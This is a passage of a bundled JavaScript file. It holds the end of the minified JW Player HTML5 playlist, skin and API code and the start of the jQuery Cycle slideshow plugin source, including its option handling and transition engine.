u(D){if(k>=0){o(k)();k=D.index}o(D.index)();n()}function m(){if(e.position==a.html5.view.positions.OVER){switch(w.jwGetState()){case a.api.events.state.IDLE:_show(x);break;default:_hide(x);break}}}function A(){for(var D in h){h[D]=t(D)}}function t(D){return w.skin.getSkinElement("playlist",D)}j();return this}})(jwplayer);(function(b){b.html5.playlistitem=function(d){var e={author:"",date:"",description:"",image:"",link:"",mediaid:"",tags:"",title:"",provider:"",file:"",streamer:"",duration:-1,start:0,currentLevel:-1,levels:[]};var c=b.utils.extend({},e,d);if(c.type){c.provider=c.type;delete c.type}if(c.levels.length===0){c.levels[0]=new b.html5.playlistitemlevel(c)}if(!c.provider){c.provider=a(c.levels[0])}else{c.provider=c.provider.toLowerCase()}return c};function a(e){if(b.utils.isYouTube(e.file)){return"youtube"}else{var f=b.utils.extension(e.file);var c;if(f&&b.utils.extensionmap[f]){if(f=="m3u8"){return"video"}c=b.utils.extensionmap[f].html5}else{if(e.type){c=e.type}}if(c){var d=c.split("/")[0];if(d=="audio"){return"sound"}else{if(d=="video"){return d}}}}return""}})(jwplayer);(function(a){a.html5.playlistitemlevel=function(b){var d={file:"",streamer:"",bitrate:0,width:0};for(var c in d){if(a.utils.exists(b[c])){d[c]=b[c]}}return d}})(jwplayer);(function(a){a.html5.playlistloader=function(){var c=new a.html5.eventdispatcher();a.utils.extend(this,c);this.load=function(e){a.utils.ajax(e,d,b)};function d(g){var f=[];try{var f=a.utils.parsers.rssparser.parse(g.responseXML.firstChild);c.sendEvent(a.api.events.JWPLAYER_PLAYLIST_LOADED,{playlist:new a.html5.playlist({playlist:f})})}catch(h){b("Could not parse the playlist")}}function b(e){c.sendEvent(a.api.events.JWPLAYER_ERROR,{error:e?e:"could not load playlist for whatever reason.  too bad"})}}})(jwplayer);(function(a){a.html5.skin=function(){var b={};var c=false;this.load=function(d,e){new a.html5.skinloader(d,function(f){c=true;b=f;e()},function(){new a.html5.skinloader("",function(f){c=true;b=f;e()})})};this.getSkinElement=function(d,e){if(c){try{return b[d].elements[e]}catch(f){a.utils.log("No such skin component / element: ",[d,e])}}return null};this.getComponentSettings=function(d){if(c){return b[d].settings}return null};this.getComponentLayout=function(d){if(c){return b[d].layout}return null}}})(jwplayer);(function(a){a.html5.skinloader=function(f,p,k){var o={};var c=p;var l=k;var e=true;var j;var n=f;var s=false;function m(){if(typeof n!="string"||n===""){d(a.html5.defaultSkin().xml)}else{a.utils.ajax(a.utils.getAbsolutePath(n),function(t){try{if(a.utils.exists(t.responseXML)){d(t.responseXML);return}}catch(u){h()}d(a.html5.defaultSkin().xml)},function(t){d(a.html5.defaultSkin().xml)})}}function d(y){var E=y.getElementsByTagName("component");if(E.length===0){return}for(var H=0;H<E.length;H++){var C=E[H].getAttribute("name");var B={settings:{},elements:{},layout:{}};o[C]=B;var G=E[H].getElementsByTagName("elements")[0].getElementsByTagName("element");for(var F=0;F<G.length;F++){b(G[F],C)}var z=E[H].getElementsByTagName("settings")[0];if(z&&z.childNodes.length>0){var K=z.getElementsByTagName("setting");for(var P=0;P<K.length;P++){var Q=K[P].getAttribute("name");var I=K[P].getAttribute("value");var x=/color$/.test(Q)?"color":null;o[C].settings[Q]=a.utils.typechecker(I,x)}}var L=E[H].getElementsByTagName("layout")[0];if(L&&L.childNodes.length>0){var M=L.getElementsByTagName("group");for(var w=0;w<M.length;w++){var A=M[w];o[C].layout[A.getAttribute("position")]={elements:[]};for(var O=0;O<A.attributes.length;O++){var D=A.attributes[O];o[C].layout[A.getAttribute("position")][D.name]=D.value}var N=A.getElementsByTagName("*");for(var v=0;v<N.length;v++){var t=N[v];o[C].layout[A.getAttribute("position")].elements.push({type:t.tagName});for(var u=0;u<t.attributes.length;u++){var J=t.attributes[u];o[C].layout[A.getAttribute("position")].elements[v][J.name]=J.value}if(!a.utils.exists(o[C].layout[A.getAttribute("position")].elements[v].name)){o[C].layout[A.getAttribute("position")].elements[v].name=t.tagName}}}}e=false;r()}}function r(){clearInterval(j);if(!s){j=setInterval(function(){q()},100)}}function b(y,x){var w=new Image();var t=y.getAttribute("name");var v=y.getAttribute("src");var A;if(v.indexOf("data:image/png;base64,")===0){A=v}else{var u=a.utils.getAbsolutePath(n);var z=u.substr(0,u.lastIndexOf("/"));A=[z,x,v].join("/")}o[x].elements[t]={height:0,width:0,src:"",ready:false,image:w};w.onload=function(B){g(w,t,x)};w.onerror=function(B){s=true;r();l()};w.src=A}function h(){for(var u in o){var w=o[u];for(var t in w.elements){var x=w.elements[t];var v=x.image;v.onload=null;v.onerror=null;delete x.image;delete w.elements[t]}delete o[u]}}function q(){for(var t in o){if(t!="properties"){for(var u in o[t].elements){if(!o[t].elements[u].ready){return}}}}if(e===false){clearInterval(j);c(o)}}function g(t,v,u){if(o[u]&&o[u].elements[v]){o[u].elements[v].height=t.height;o[u].elements[v].width=t.width;o[u].elements[v].src=t.src;o[u].elements[v].ready=true;r()}else{a.utils.log("Loaded an image for a missing element: "+u+"."+v)}}m()}})(jwplayer);(function(a){a.html5.api=function(c,n){var m={};var f=document.createElement("div");c.parentNode.replaceChild(f,c);f.id=c.id;m.version=a.version;m.id=f.id;var l=new a.html5.model(m,f,n);var j=new a.html5.view(m,f,l);var k=new a.html5.controller(m,f,l,j);m.skin=new a.html5.skin();m.jwPlay=function(o){if(typeof o=="undefined"){e()}else{if(o.toString().toLowerCase()=="true"){k.play()}else{k.pause()}}};m.jwPause=function(o){if(typeof o=="undefined"){e()}else{if(o.toString().toLowerCase()=="true"){k.pause()}else{k.play()}}};function e(){if(l.state==a.api.events.state.PLAYING||l.state==a.api.events.state.BUFFERING){k.pause()}else{k.play()}}m.jwStop=k.stop;m.jwSeek=k.seek;m.jwPlaylistItem=k.item;m.jwPlaylistNext=k.next;m.jwPlaylistPrev=k.prev;m.jwResize=k.resize;m.jwLoad=k.load;function h(o){return function(){return l[o]}}function d(o,q,p){return function(){var r=l.plugins.object[o];if(r&&r[q]&&typeof r[q]=="function"){r[q].apply(r,p)}}}m.jwGetItem=h("item");m.jwGetPosition=h("position");m.jwGetDuration=h("duration");m.jwGetBuffer=h("buffer");m.jwGetWidth=h("width");m.jwGetHeight=h("height");m.jwGetFullscreen=h("fullscreen");m.jwSetFullscreen=k.setFullscreen;m.jwGetVolume=h("volume");m.jwSetVolume=k.setVolume;m.jwGetMute=h("mute");m.jwSetMute=k.setMute;m.jwGetStretching=h("stretching");m.jwGetState=h("state");m.jwGetVersion=function(){return m.version};m.jwGetPlaylist=function(){return l.playlist};m.jwGetPlaylistIndex=m.jwGetItem;m.jwAddEventListener=k.addEventListener;m.jwRemoveEventListener=k.removeEventListener;m.jwSendEvent=k.sendEvent;m.jwDockSetButton=function(r,o,p,q){if(l.plugins.object.dock&&l.plugins.object.dock.setButton){l.plugins.object.dock.setButton(r,o,p,q)}};m.jwControlbarShow=d("controlbar","show");m.jwControlbarHide=d("controlbar","hide");m.jwDockShow=d("dock","show");m.jwDockHide=d("dock","hide");m.jwDisplayShow=d("display","show");m.jwDisplayHide=d("display","hide");m.jwGetLevel=function(){};m.jwGetBandwidth=function(){};m.jwGetLockState=function(){};m.jwLock=function(){};m.jwUnlock=function(){};function b(){if(l.config.playlistfile){l.addEventListener(a.api.events.JWPLAYER_PLAYLIST_LOADED,g);l.loadPlaylist(l.config.playlistfile)}else{if(typeof l.config.playlist=="string"){l.addEventListener(a.api.events.JWPLAYER_PLAYLIST_LOADED,g);l.loadPlaylist(l.config.playlist)}else{l.loadPlaylist(l.config);setTimeout(g,25)}}}function g(o){l.removeEventListener(a.api.events.JWPLAYER_PLAYLIST_LOADED,g);l.setupPlugins();j.setup();var o={id:m.id,version:m.version};k.playerReady(o)}if(l.config.chromeless&&!a.utils.isIOS()){b()}else{m.skin.load(l.config.skin,b)}return m}})(jwplayer)};;
/*!
 * jQuery Cycle Plugin (with Transition Definitions)
 * Examples and documentation at: http://jquery.malsup.com/cycle/
 * Copyright (c) 2007-2010 M. Alsup
 * Version: 2.9996 (07-OCT-2011)
 * Dual licensed under the MIT and GPL licenses.
 * http://jquery.malsup.com/license.html
 * Requires: jQuery v1.3.2 or later
 */
;(function($) {

var ver = '2.9996';

// if $.support is not defined (pre jQuery 1.3) add what I need
if ($.support == undefined) {
	$.support = {
		opacity: !($.browser.msie)
	};
}

function debug(s) {
	$.fn.cycle.debug && log(s);
}		
function log() {
	window.console && console.log && console.log('[cycle] ' + Array.prototype.join.call(arguments,' '));
}
$.expr[':'].paused = function(el) {
	return el.cyclePause;
}


// the options arg can be...
//   a number  - indicates an immediate transition should occur to the given slide index
//   a string  - 'pause', 'resume', 'toggle', 'next', 'prev', 'stop', 'destroy' or the name of a transition effect (ie, 'fade', 'zoom', etc)
//   an object - properties to control the slideshow
//
// the arg2 arg can be...
//   the name of an fx (only used in conjunction with a numeric value for 'options')
//   the value true (only used in first arg == 'resume') and indicates
//	 that the resume should occur immediately (not wait for next timeout)

$.fn.cycle = function(options, arg2) {
	var o = { s: this.selector, c: this.context };

	// in 1.3+ we can fix mistakes with the ready state
	if (this.length === 0 && options != 'stop') {
		if (!$.isReady && o.s) {
			log('DOM not ready, queuing slideshow');
			$(function() {
				$(o.s,o.c).cycle(options,arg2);
			});
			return this;
		}
		// is your DOM ready?  http://docs.jquery.com/Tutorials:Introducing_$(document).ready()
		log('terminating; zero elements found by selector' + ($.isReady ? '' : ' (DOM not ready)'));
		return this;
	}

	// iterate the matched nodeset
	return this.each(function() {
		var opts = handleArguments(this, options, arg2);
		if (opts === false)
			return;

		opts.updateActivePagerLink = opts.updateActivePagerLink || $.fn.cycle.updateActivePagerLink;
		
		// stop existing slideshow for this container (if there is one)
		if (this.cycleTimeout)
			clearTimeout(this.cycleTimeout);
		this.cycleTimeout = this.cyclePause = 0;

		var $cont = $(this);
		var $slides = opts.slideExpr ? $(opts.slideExpr, this) : $cont.children();
		var els = $slides.get();

		var opts2 = buildOptions($cont, $slides, els, opts, o);
		if (opts2 === false)
			return;

		if (els.length < 2) {
			log('terminating; too few slides: ' + els.length);
			return;
		}

		var startTime = opts2.continuous ? 10 : getTimeout(els[opts2.currSlide], els[opts2.nextSlide], opts2, !opts2.backwards);

		// if it's an auto slideshow, kick it off
		if (startTime) {
			startTime += (opts2.delay || 0);
			if (startTime < 10)
				startTime = 10;
			debug('first timeout: ' + startTime);
			this.cycleTimeout = setTimeout(function(){go(els,opts2,0,!opts.backwards)}, startTime);
		}
	});
};

function triggerPause(cont, byHover, onPager) {
	var opts = $(cont).data('cycle.opts');
	var paused = !!cont.cyclePause;
	if (paused && opts.paused)
		opts.paused(cont, opts, byHover, onPager);
	else if (!paused && opts.resumed)
		opts.resumed(cont, opts, byHover, onPager);
}

// process the args that were passed to the plugin fn
function handleArguments(cont, options, arg2) {
	if (cont.cycleStop == undefined)
		cont.cycleStop = 0;
	if (options === undefined || options === null)
		options = {};
	if (options.constructor == String) {
		switch(options) {
		case 'destroy':
		case 'stop':
			var opts = $(cont).data('cycle.opts');
			if (!opts)
				return false;
			cont.cycleStop++; // callbacks look for change
			if (cont.cycleTimeout)
				clearTimeout(cont.cycleTimeout);
			cont.cycleTimeout = 0;
			opts.elements && $(opts.elements).stop();
			$(cont).removeData('cycle.opts');
			if (options == 'destroy')
				destroy(opts);
			return false;
		case 'toggle':
			cont.cyclePause = (cont.cyclePause === 1) ? 0 : 1;
			checkInstantResume(cont.cyclePause, arg2, cont);
			triggerPause(cont);
			return false;
		case 'pause':
			cont.cyclePause = 1;
			triggerPause(cont);
			return false;
		case 'resume':
			cont.cyclePause = 0;
			checkInstantResume(false, arg2, cont);
			triggerPause(cont);
			return false;
		case 'prev':
		case 'next':
			var opts = $(cont).data('cycle.opts');
			if (!opts) {
				log('options not found, "prev/next" ignored');
				return false;
			}
			$.fn.cycle[options](opts);
			return false;
		default:
			options = { fx: options };
		};
		return options;
	}
	else if (options.constructor == Number) {
		// go to the requested slide
		var num = options;
		options = $(cont).data('cycle.opts');
		if (!options) {
			log('options not found, can not advance slide');
			return false;
		}
		if (num < 0 || num >= options.elements.length) {
			log('invalid slide index: ' + num);
			return false;
		}
		options.nextSlide = num;
		if (cont.cycleTimeout) {
			clearTimeout(cont.cycleTimeout);
			cont.cycleTimeout = 0;
		}
		if (typeof arg2 == 'string')
			options.oneTimeFx = arg2;
		go(options.elements, options, 1, num >= options.currSlide);
		return false;
	}
	return options;
	
	function checkInstantResume(isPaused, arg2, cont) {
		if (!isPaused && arg2 === true) { // resume now!
			var options = $(cont).data('cycle.opts');
			if (!options) {
				log('options not found, can not resume');
				return false;
			}
			if (cont.cycleTimeout) {
				clearTimeout(cont.cycleTimeout);
				cont.cycleTimeout = 0;
			}
			go(options.elements, options, 1, !options.backwards);
		}
	}
};

function removeFilter(el, opts) {
	if (!$.support.opacity && opts.cleartype && el.style.filter) {
		try { el.style.removeAttribute('filter'); }
		catch(smother) {} // handle old opera versions
	}
};

// unbind event handlers
function destroy(opts) {
	if (opts.next)
		$(opts.next).unbind(opts.prevNextEvent);
	if (opts.prev)
		$(opts.prev).unbind(opts.prevNextEvent);
	
	if (opts.pager || opts.pagerAnchorBuilder)
		$.each(opts.pagerAnchors || [], function() {
			this.unbind().remove();
		});
	opts.pagerAnchors = null;
	if (opts.destroy) // callback
		opts.destroy(opts);
};

// one-time initialization
function buildOptions($cont, $slides, els, options, o) {
	// support metadata plugin (v1.0 and v2.0)
	var opts = $.extend({}, $.fn.cycle.defaults, options || {}, $.metadata ? $cont.metadata() : $.meta ? $cont.data() : {});
	var meta = $.isFunction($cont.data) ? $cont.data(opts.metaAttr) : null;
	if (meta)
		opts = $.extend(opts, meta);
	if (opts.autostop)
		opts.countdown = opts.autostopCount || els.length;

	var cont = $cont[0];
	$cont.data('cycle.opts', opts);
	opts.$cont = $cont;
	opts.stopCount = cont.cycleStop;
	opts.elements = els;
	opts.before = opts.before ? [opts.before] : [];
	opts.after = opts.after ? [opts.after] : [];

	// push some after callbacks
	if (!$.support.opacity && opts.cleartype)
		opts.after.push(function() { removeFilter(this, opts); });
	if (opts.continuous)
		opts.after.push(function() { go(els,opts,0,!opts.backwards); });

	saveOriginalOpts(opts);

	// clearType corrections
	if (!$.support.opacity && opts.cleartype && !opts.cleartypeNoBg)
		clearTypeFix($slides);

	// container requires non-static position so that slides can be position within
	if ($cont.css('position') == 'static')
		$cont.css('position', 'relative');
	if (opts.width)
		$cont.width(opts.width);
	if (opts.height && opts.height != 'auto')
		$cont.height(opts.height);

	if (opts.startingSlide)
		opts.startingSlide = parseInt(opts.startingSlide,10);
	else if (opts.backwards)
		opts.startingSlide = els.length - 1;

	// if random, mix up the slide array
	if (opts.random) {
		opts.randomMap = [];
		for (var i = 0; i < els.length; i++)
			opts.randomMap.push(i);
		opts.randomMap.sort(function(a,b) {return Math.random() - 0.5;});
		opts.randomIndex = 1;
		opts.startingSlide = opts.randomMap[1];
	}
	else if (opts.startingSlide >= els.length)
		opts.startingSlide = 0; // catch bogus input
	opts.currSlide = opts.startingSlide || 0;
	var first = opts.startingSlide;

	// set position and zIndex on all the slides
	$slides.css({position: 'absolute', top:0, left:0}).hide().each(function(i) {
		var z;
		if (opts.backwards)
			z = first ? i <= first ? els.length + (i-first) : first-i : els.length-i;
		else
			z = first ? i >= first ? els.length - (i-first) : first-i : els.length-i;
		$(this).css('z-index', z)
	});

	// make sure first slide is visible
	$(els[first]).css('opacity',1).show(); // opacity bit needed to handle restart use case
	removeFilter(els[first], opts);

	// stretch slides
	if (opts.fit) {
		if (!opts.aspect) {
	        if (opts.width)
	            $slides.width(opts.width);
	        if (opts.height && opts.height != 'auto')
	            $slides.height(opts.height);
		} else {
			$slides.each(function(){
				var $slide = $(this);
				var ratio = (opts.aspect === true) ? $slide.width()/$slide.height() : opts.aspect;
				if( opts.width && $slide.width() != opts.width ) {
					$slide.width( opts.width );
					$slide.height( opts.width / ratio );
				}

				if( opts.height && $slide.height() < opts.height ) {
					$slide.height( opts.height );
					$slide.width( opts.height * ratio );
				}
			});
		}
	}

	if (opts.center && ((!opts.fit) || opts.aspect)) {
		$slides.each(function(){
			var $slide = $(this);
			$slide.css({
				"margin-left": opts.width ?
					((opts.width - $slide.width()) / 2) + "px" :
					0,
				"margin-top": opts.height ?
					((opts.height - $slide.height()) / 2) + "px" :
					0
			});
		});
	}

	if (opts.center && !opts.fit && !opts.slideResize) {
	  	$slides.each(function(){
	    	var $slide = $(this);
	    	$slide.css({
	      		"margin-left": opts.width ? ((opts.width - $slide.width()) / 2) + "px" : 0,
	      		"margin-top": opts.height ? ((opts.height - $slide.height()) / 2) + "px" : 0
	    	});
	  	});
	}
		
	// stretch container
	var reshape = opts.containerResize && !$cont.innerHeight();
	if (reshape) { // do this only if container has no size http://tinyurl.com/da2oa9
		var maxw = 0, maxh = 0;
		for(var j=0; j < els.length; j++) {
			var $e = $(els[j]), e = $e[0], w = $e.outerWidth(), h = $e.outerHeight();
			if (!w) w = e.offsetWidth || e.width || $e.attr('width');
			if (!h) h = e.offsetHeight || e.height || $e.attr('height');
			maxw = w > maxw ? w : maxw;
			maxh = h > maxh ? h : maxh;
		}
		if (maxw > 0 && maxh > 0)
			$cont.css({width:maxw+'px',height:maxh+'px'});
	}

	var pauseFlag = false;  // https://github.com/malsup/cycle/issues/44
	if (opts.pause)
		$cont.hover(
			function(){
				pauseFlag = true;
				this.cyclePause++;
				triggerPause(cont, true);
			},
			function(){
				pauseFlag && this.cyclePause--;
				triggerPause(cont, true);
			}
		);

	if (supportMultiTransitions(opts) === false)
		return false;

	// apparently a lot of people use image slideshows without height/width attributes on the images.
	// Cycle 2.50+ requires the sizing info for every slide; this block tries to deal with that.
	var requeue = false;
	options.requeueAttempts = options.requeueAttempts || 0;
	$slides.each(function() {
		// try to get height/width of each slide
		var $el = $(this);
		this.cycleH = (opts.fit && opts.height) ? opts.height : ($el.height() || this.offsetHeight || this.height || $el.attr('height') || 0);
		this.cycleW = (opts.fit && opts.width) ? opts.width : ($el.width() || this.offsetWidth || this.width || $el.attr('width') || 0);

		if ( $el.is('img') ) {
			// sigh..  sniffing, hacking, shrugging...  this crappy hack tries to account for what browsers do when
			// an image is being downloaded and the markup did not include sizing info (height/width attributes);
			// there seems to be some "default" sizes used in this situation
			var loadingIE	= ($.browser.msie  && this.cycleW == 28 && this.cycleH == 30 && !this.complete);
			var loadingFF	= ($.browser.mozilla && this.cycleW == 34 && this.cycleH == 19 && !this.complete);
			var loadingOp	= ($.browser.opera && ((this.cycleW == 42 && this.cycleH == 19) || (this.cycleW == 37 && this.cycleH == 17)) && !this.complete);
			var loadingOther = (this.cycleH == 0 && this.cycleW == 0 && !this.complete);
			// don't requeue for images that are still loading but have a valid size
			if (loadingIE || loadingFF || loadingOp || loadingOther) {
				if (o.s && opts.requeueOnImageNotLoaded && ++options.requeueAttempts < 100) { // track retry count so we don't loop forever
					log(options.requeueAttempts,' - img slide not loaded, requeuing slideshow: ', this.src, this.cycleW, this.cycleH);
					setTimeout(function() {$(o.s,o.c).cycle(options)}, opts.requeueTimeout);
					requeue = true;
					return false; // break each loop
				}
				else {
					log('could not determine size of image: '+this.src, this.cycleW, this.cycleH);
				}
			}
		}
		return true;
	});

	if (requeue)
		return false;

	opts.cssBefore = opts.cssBefore || {};
	opts.cssAfter = opts.cssAfter || {};
	opts.cssFirst = opts.cssFirst || {};
	opts.animIn = opts.animIn || {};
	opts.animOut = opts.animOut || {};

	$slides.not(':eq('+first+')').css(opts.cssBefore);
	$($slides[first]).css(opts.cssFirst);

	if (opts.timeout) {
		opts.timeout = parseInt(opts.timeout,10);
		// ensure that timeout and speed settings are sane
		if (opts.speed.constructor == String)
			opts.speed = $.fx.speeds[opts.speed] || parseInt(opts.speed,10);
		if (!opts.sync)
			opts.speed = opts.speed / 2;
		
		var buffer = opts.fx == 'none' ? 0 : opts.fx == 'shuffle' ? 500 : 250;
		while((opts.timeout - opts.speed) < buffer) // sanitize timeout
			opts.timeout += opts.speed;
	}
	if (opts.easing)
		opts.easeIn = opts.easeOut = opts.easing;
	if (!opts.speedIn)
		opts.speedIn = opts.speed;
	if (!opts.speedOut)
		opts.speedOut = opts.speed;

	opts.slideCount = els.length;
	opts.currSlide = opts.lastSlide = first;
	if (opts.random) {
		if (++opts.randomIndex == els.length)
			opts.randomIndex = 0;
		opts.nextSlide = opts.randomMap[opts.randomIndex];
	}
	else if (opts.backwards)
		opts.nextSlide = opts.startingSlide == 0 ? (els.length-1) : opts.startingSlide-1;
	else
		opts.nextSlide = opts.startingSlide >= (els.length-1) ? 0 : opts.startingSlide+1;

	// run transition init fn
	if (!opts.multiFx) {
		var init = $.fn.cycle.transitions[opts.fx];
		if ($.isFunction(init))
			init($cont, $slides, opts);
		else if (opts.fx != 'custom' && !opts.multiFx) {
			log('unknown transition: ' + opts.fx,'; slideshow terminating');
			return false;
		}
	}

	// fire artificial events
	var e0 = $slides[first];
	if (!opts.skipInitializationCallbacks) {
		if (opts.before.length)
			opts.before[0].apply(e0, [e0, e0, opts, true]);
		if (opts.after.length)
			opts.after[0].apply(e0, [e0, e0, opts, true]);
	}
	if (opts.next)
		$(opts.next).bind(opts.prevNextEvent,function(){return advance(opts,1)});
	if (opts.prev)
		$(opts.prev).bind(opts.prevNextEvent,function(){return advance(opts,0)});
	if (opts.pager || opts.pagerAnchorBuilder)
		buildPager(els,opts);

	exposeAddSlide(opts, els);

	return opts;
};

// save off original opts so we can restore after clearing state
function saveOriginalOpts(opts) {
	opts.original = { before: [], after: [] };
	opts.original.cssBefore = $.extend({}, opts.cssBefore);
	opts.original.cssAfter  = $.extend({}, opts.cssAfter);
	opts.original.animIn	= $.extend({}, opts.animIn);
	opts.original.animOut   = $.extend({}, opts.animOut);
	$.each(opts.before, function() { opts.original.before.push(this); });
	$.each(opts.after,  function() { opts.original.after.push(this); });
};

function supportMultiTransitions(opts) {
	var i, tx, txs = $.fn.cycle.transitions;
	// look for multiple effects
	if (opts.fx.indexOf(',') > 0) {
		opts.multiFx = true;
		opts.fxs = opts.fx.replace(/\s*/g,'').split(',');
		// discard any bogus effect names
		for (i=0; i < opts.fxs.length; i++) {
			var fx = opts.fxs[i];
			tx = txs[fx];
			if (!tx || !txs.hasOwnProperty(fx) || !$.isFunction(tx)) {
				log('discarding unknown transition: ',fx);
				opts.fxs.splice(i,1);
				i--;
			}
		}
		// if we have an empty list then we threw everything away!
		if (!opts.fxs.length) {
			log('No valid transitions named; slideshow terminating.');
			return false;
		}
	}
	else if (opts.fx == 'all') {  // auto-gen the list of transitions
		opts.multiFx = true;
		opts.fxs = [];
		for (p in txs) {
			tx = txs[p];
			if (txs.hasOwnProperty(p) && $.isFunction(tx))
				opts.fxs.push(p);
		}
	}
	if (opts.multiFx && opts.randomizeEffects) {
		// munge the fxs array to make effect selection random
		var r1 = Math.floor(Math.random() * 20) + 30;
		for (i = 0; i < r1; i++) {
			var r2 = Math.floor(Math.random() * opts.fxs.length);
			opts.fxs.push(opts.fxs.splice(r2,1)[0]);
		}
		debug('randomized fx sequence: ',opts.fxs);
	}
	return true;
};

// provide a mechanism for adding slides after the slideshow has started
function exposeAddSlide(opts, els) {
	opts.addSlide = function(newSlide, prepend) {
		var $s = $(newSlide), s = $s[0];
		if (!opts.autostopCount)
			opts.countdown++;
		els[prepend?'unshift':'push'](s);
		if (opts.els)
			opts.els[prepend?'unshift':'push'](s); // shuffle needs this
		opts.slideCount = els.length;

		$s.css('position','absolute');
		$s[prepend?'prependTo':'appendTo'](opts.$cont);

		if (prepend) {
			opts.currSlide++;
			opts.nextSlide++;
		}

		if (!$.support.opacity && opts.cleartype && !opts.cleartypeNoBg)
			clearTypeFix($s);

		if (opts.fit && opts.width)
			$s.width(opts.width);
		if (opts.fit && opts.height && opts.height != 'auto')
			$s.height(opts.height);
		s.cycleH = (opts.fit && opts.height) ? opts.height : $s.height();
		s.cycleW = (opts.fit && opts.width) ? opts.width : $s.width();

		$s.css(opts.cssBefore);

		if (opts.pager || opts.pagerAnchorBuilder)
			$.fn.cycle.createPagerAnchor(els.length-1, s, $(opts.pager), els, opts);

		if ($.isFunction(opts.onAddSlide))
			opts.onAddSlide($s);
		else
			$s.hide(); // default behavior
	};
}

// reset internal state; we do this on every pass in order to support multiple effects
$.fn.cycle.resetState = function(opts, fx) {
	fx = fx || opts.fx;
	opts.before = []; opts.after = [];
	opts.cssBefore = $.extend({}, opts.original.cssBefore);
	opts.cssAfter  = $.extend({}, opts.original.cssAfter);
	opts.animIn	= $.extend({}, opts.original.animIn);
	opts.animOut   = $.extend({}, opts.original.animOut);
	opts.fxFn = null;
	$.each(opts.original.before, function() { opts.before.push(this); });
	$.each(opts.original.after,  function() { opts.after.push(this); });

	// re-init
	var init = $.fn.cycle.transitions[fx];
	if ($.isFunction(init))
		init(opts.$cont, $(opts.elements), opts);
};

// this is the main engine fn, it handles the timeouts, callbacks and slide index mgmt
function go(els, opts, manual, fwd) {
	// opts.busy is true if we're in the middle of an animation
	if (manual && opts.busy && opts.manualTrump) {
		// let manual transitions requests trump active ones
		debug('manualTrump in go(), stopping active transition');
		$(els).stop(true,true);
		opts.busy = 0;
	}
	// don't begin another timeout-based transition if there is one active
	if (opts.busy) {
		debug('transition active, ignoring new tx request');
		return;
	}

	var p = opts.$cont[0], curr = els[opts.currSlide], next = els[opts.nextSlide];

	// stop cycling if we have an outstanding stop request
	if (p.cycleStop != opts.stopCount || p.cycleTimeout === 0 && !manual)
		return;

	// check to see if we should stop cycling based on autostop options
	if (!manual && !p.cyclePause && !opts.bounce &&
		((opts.autostop && (--opts.countdown <= 0)) ||
		(opts.nowrap && !opts.random && opts.nextSlide < opts.currSlide))) {
		if (opts.end)
			opts.end(opts);
		return;
	}

	// if slideshow is paused, only transition on a manual trigger
	var changed = false;
	if ((manual || !p.cyclePause) && (opts.nextSlide != opts.currSlide)) {
		changed = true;
		var fx = opts.fx;
		// keep trying to get the slide size if we don't have it yet
		curr.cycleH = curr.cycleH || $(curr).height();
		curr.cycleW = curr.cycleW || $(curr).width();
		next.cycleH = next.cycleH || $(next).height();
		next.cycleW = next.cycleW || $(next).width();

		// support multiple transition types
		if (opts.multiFx) {
			if (fwd && (opts.lastFx == undefined || ++opts.lastFx >= opts.fxs.length))
				opts.lastFx = 0;
			else if (!fwd && (opts.lastFx == undefined || --opts.lastFx < 0))
				opts.lastFx = opts.fxs.length - 1;
			fx = opts.fxs[opts.lastFx];
		}

		// one-time fx overrides apply to:  $('div').cycle(3,'zoom');
		if (opts.oneTimeFx) {
			fx = opts.oneTimeFx;
			opts.oneTimeFx = null;
		}

		$.fn.cycle.resetState(opts, fx);

		// run the before callbacks
		if (opts.before.length)
			$.each(opts.before, function(i,o) {
				if (p.cycleStop != opts.stopCount) return;
				o.apply(next, [curr, next, opts, fwd]);
			});

		// stage the after callacks
		var after = function() {
			opts.busy = 0;
			$.each(opts.after, function(i,o) {
				if (p.cycleStop != opts.stopCount) return;
				o.apply(next, [curr, next, opts, fwd]);
			});
			if (!p.cycleStop) {
				// queue next transition
				queueNext();
			}
		};

		debug('tx firing('+fx+'); currSlide: ' + opts.currSlide + '; nextSlide: ' + opts.nextSlide);
		
		// get ready to perform the transition
		opts.busy = 1;
		if (opts.fxFn) // fx function provided?
			opts.fxFn(curr, next, opts, after, fwd, manual && opts.fastOnEvent);
		else if ($.isFunction($.fn.cycle[opts.fx])) // fx plugin ?
			$.fn.cycle[opts.fx](curr, next, opts, after, fwd, manual && opts.fastOnEvent);
		else
			$.fn.cycle.custom(curr, next, opts, after, fwd, manual && opts.fastOnEvent);
	}

	if (changed || opts.nextSlide == opts.currSlide) {
		// calculate the next slide
		opts.lastSlide = opts.currSlide;
		if (opts.random) {
			opts.currSlide = opts.nextSlide;
			if (++opts.randomIndex == els.length)
				opts.randomIndex = 0;
			opts.nextSlide = opts.randomMap[opts.randomIndex];
			if (opts.nextSlide == opts.currSlide)
				opts.nextSlide = (opts.currSlide == opts.slideCount - 1) ? 0 : opts.currSlide + 1;
		}
		else if (opts.backwards) {
			var roll = (opts.nextSlide - 1) < 0;
			if (roll && opts.bounce) {
				opts.backwards = !opts.backwards;
				opts.nextSlide = 1;
				opts.currSlide = 0;
			}
			else {
				opts.nextSlide = roll ? (els.length-1) : opts.nextSlide-1;
				opts.currSlide = roll ? 0 : opts.nextSlide+1;
			}
		}
		else { // sequence
			var roll = (opts.nextSlide + 1) == els.length;
			if (roll && opts.bounce) {
				opts.backwards = !opts.backwards;
				opts.nextSlide = els.length-2;
				opts.currSlide = els.length-1;
			}
			else {
				opts.nextSlide = roll ? 0 : opts.nextSlide+1;
				opts.currSlide = roll ? els.length-1 : opts.nextSlide-1;
			}
		}
	}
	if (changed && opts.pager)
		opts.updateActivePagerLink(opts.pager, opts.currSlide, opts.activePagerClass);
	
	function queueNext() {
		// stage the next transition
		var ms = 0, timeout = opts.timeout;
		if (opts.timeout && !opts.continuous) {
			ms = getTimeout(els[opts.currSlide], els[opts.nextSlide], opts, fwd);
         if (opts.fx == 'shuffle')
            ms -= opts.speedOut;
      }
		else if (opts.continuous && p.cyclePause) // continuous shows work off an after callback, not this timer logic
			ms = 10;
		if (ms > 0)
			p.cycleTimeout = setTimeout(function(){ go(els, opts, 0, !opts.backwards) }, ms);
	}
};

// invoked after transition
$.fn.cycle.updateActivePagerLink = function(pager, currSlide, clsName) {
   $(pager).each(function() {
       $(this).children().removeClass(clsName).eq(currSlide).addClass(clsName);
   });
};

// calculate timeout value for current transition
function getTimeout(curr, next, opts, fwd) {
	if (opts.timeoutFn) {
		// call user provided calc fn
		var t = opts.timeoutFn.call(curr,curr,next,opts,fwd);
		while (opts.fx != 'none' && (t - opts.speed) < 250) // sanitize timeout
			t += opts.speed;
